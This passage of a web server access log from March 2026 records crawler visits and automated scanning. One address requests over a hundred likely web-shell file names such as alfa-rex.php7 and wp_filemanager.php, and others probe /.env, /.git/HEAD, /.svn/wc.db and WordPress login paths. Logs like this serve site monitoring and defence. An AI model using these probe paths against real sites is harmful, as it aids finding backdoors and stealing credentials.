Gecko) Chrome/120.0.0.0 Safari/537.36" 192.165.45.205 - - [14/Mar/2026:13:38:57 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.3" 150.136.253.162 - - [14/Mar/2026:14:06:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 150.136.253.162 - - [14/Mar/2026:14:06:12 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 150.136.253.162 - - [14/Mar/2026:14:06:26 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 192.36.226.103 - - [14/Mar/2026:13:38:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.3" 150.136.253.162 - - [14/Mar/2026:14:06:24 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 62.60.130.210 - - [14/Mar/2026:16:03:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/120.0.1" 20.2.141.62 - - [14/Mar/2026:15:36:05 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 199.45.155.109 - - [14/Mar/2026:15:48:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 43.166.7.113 - - [14/Mar/2026:16:42:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.180.116 - - [14/Mar/2026:17:22:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 223.15.245.170 - - [14/Mar/2026:18:48:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.171.231.23 - - [14/Mar/2026:21:05:24 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 69.171.231.8 - - [14/Mar/2026:21:05:25 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 77.90.185.5 - - [14/Mar/2026:21:30:03 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 44.195.201.244 - - [14/Mar/2026:21:50:10 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 45.156.87.251 - - [14/Mar/2026:23:02:07 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.153.10.83 - - [14/Mar/2026:22:33:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 98.87.188.21 - - [14/Mar/2026:21:43:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0" 45.156.87.251 - - [14/Mar/2026:23:52:07 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.151.11.236 - - [15/Mar/2026:00:18:17 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.130.3.120 - - [14/Mar/2026:23:48:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 1.15.52.154 - - [15/Mar/2026:01:11:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.132.187.1 - - [15/Mar/2026:01:29:18 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 113.204.79.230 - - [15/Mar/2026:02:57:47 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.167.245.18 - - [15/Mar/2026:05:31:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.211.148 - - [15/Mar/2026:06:18:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.204.200.32 - - [15/Mar/2026:06:42:04 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:42:19 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:42:21 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:42:24 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:06 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:09 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:13 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:16 +0300] "GET /mamzi.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:46:22 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:46:46 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:46:50 +0300] "GET /111.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:46:54 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 185.242.3.19 - - [15/Mar/2026:06:47:13 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 4.204.200.32 - - [15/Mar/2026:06:47:23 +0300] "GET /tt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:48:02 +0300] "GET /api.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:48:40 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:49:19 +0300] "GET //koiy.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:49:22 +0300] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:51:22 +0300] "GET /ws62.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:33 +0300] "GET /raw.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:53:08 +0300] "GET /iko.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:43:21 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:43:24 +0300] "GET /kaza.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:43:27 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:43:30 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:43:34 +0300] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:43:37 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:43:49 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:45:48 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:46:36 +0300] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:47:33 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:47:37 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:50:17 +0300] "GET /god.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:50:41 +0300] "GET /cxc.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:50:44 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:05 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:08 +0300] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:11 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:47:13 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:48:55 +0300] "GET /ws79.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:48:58 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:49:54 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:49:57 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:50:55 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:51:54 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:19 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:22 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:24 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:26 +0300] "GET /public/wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:28 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:41:47 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:41:51 +0300] "GET /z.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:41:56 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:41:59 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:42:58 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:43:05 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:43:09 +0300] "GET /wp-content/languages/plugins/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:20 +0300] "GET /wp-feed.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:22 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:25 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:27 +0300] "GET /fun.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:31 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:34 +0300] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:38 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:41 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:44 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:46:29 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:46:58 +0300] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:47:01 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:47:05 +0300] "GET /file52.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:48:13 +0300] "GET /public/hi.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:48:46 +0300] "GET /an7.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:48:49 +0300] "GET /rtx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:51:47 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:52 +0300] "GET /xda.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:55 +0300] "GET /e.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:58 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:53:13 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:53:18 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:53:40 +0300] "GET ///edit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:53:42 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:43:43 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:45:03 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:45:17 +0300] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:45:26 +0300] "GET /domains.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:45:58 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:46:02 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:46:05 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:47:57 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:39 +0300] "GET /autogooey.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:43 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:52:47 +0300] "GET /ws60.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:53:03 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:42:30 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:42:34 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:42:36 +0300] "GET /revealability.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:42:40 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:42:43 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:43:59 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:43:59 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:01 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:47:19 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:48:22 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:48:26 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:48:30 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:48:34 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:49:27 +0300] "GET /ws61.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:49:31 +0300] "GET /eauu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:49:42 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:49:45 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:49:49 +0300] "GET /public/vx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:50:22 +0300] "GET /f6.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:50:32 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:50:35 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:51:06 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:51:28 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:51:30 +0300] "GET /zxin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:51:33 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:51:37 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 122.51.236.174 - - [15/Mar/2026:07:38:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.204.200.32 - - [15/Mar/2026:06:42:14 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:43:55 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:45:36 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:45:41 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:45:44 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:47:46 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:47:49 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:50:03 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:50:48 +0300] "GET /sallu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:51:17 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:42:49 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:42:52 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:49 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:52 +0300] "GET /file88.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:55 +0300] "GET /yellow.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:44:59 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:45:31 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:46:10 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:46:12 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:46:16 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:46:42 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:47:28 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:49:10 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:49:15 +0300] "GET /koiy.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:49:37 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:50:27 +0300] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:51:59 +0300] "GET /sadd.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:53:25 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:53:28 +0300] "GET /fleen.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:53:32 +0300] "GET /ex.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [15/Mar/2026:06:53:34 +0300] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 54.234.51.6 - - [15/Mar/2026:08:53:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 171.4.83.108 - - [15/Mar/2026:09:53:10 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.84.81.88 - - [15/Mar/2026:11:15:39 +0300] "GET /geoserver HTTP/1.1" 301 795 "-" "python-requests/2.32.5" 43.154.127.188 - - [15/Mar/2026:12:01:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 87.121.84.97 - - [15/Mar/2026:12:03:53 +0300] "GET /admin/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 43.159.141.150 - - [15/Mar/2026:11:02:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.55.57.245 - - [15/Mar/2026:14:14:31 +0300] "GET /.env HTTP/1.1" 301 795 "-" "-" 77.90.185.115 - - [15/Mar/2026:13:38:46 +0300] "GET //.git/HEAD HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 223.15.245.170 - - [15/Mar/2026:14:37:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.74.75 - - [15/Mar/2026:16:08:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.252.87.0 - - [15/Mar/2026:16:47:51 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 43.130.67.6 - - [15/Mar/2026:16:55:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.120.117.132 - - [15/Mar/2026:18:09:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.95.198.154 - - [15/Mar/2026:17:47:00 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 116.76.39.243 - - [15/Mar/2026:19:09:24 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/82.0.2692.43 Safari/537.36" 173.252.69.112 - - [15/Mar/2026:19:27:20 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 195.178.110.34 - - [15/Mar/2026:20:35:35 +0300] "GET /.svn/wc.db HTTP/1.1" 403 787 "-" "Mozilla/5.0" 195.178.110.34 - - [15/Mar/2026:20:35:35 +0300] "GET /.svn/entries HTTP/1.1" 403 787 "-" "Mozilla/5.0" 195.178.110.34 - - [15/Mar/2026:20:35:55 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 43.166.245.120 - - [15/Mar/2026:21:10:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.84.110.151 - - [15/Mar/2026:21:18:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 223.244.35.77 - - [15/Mar/2026:21:18:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 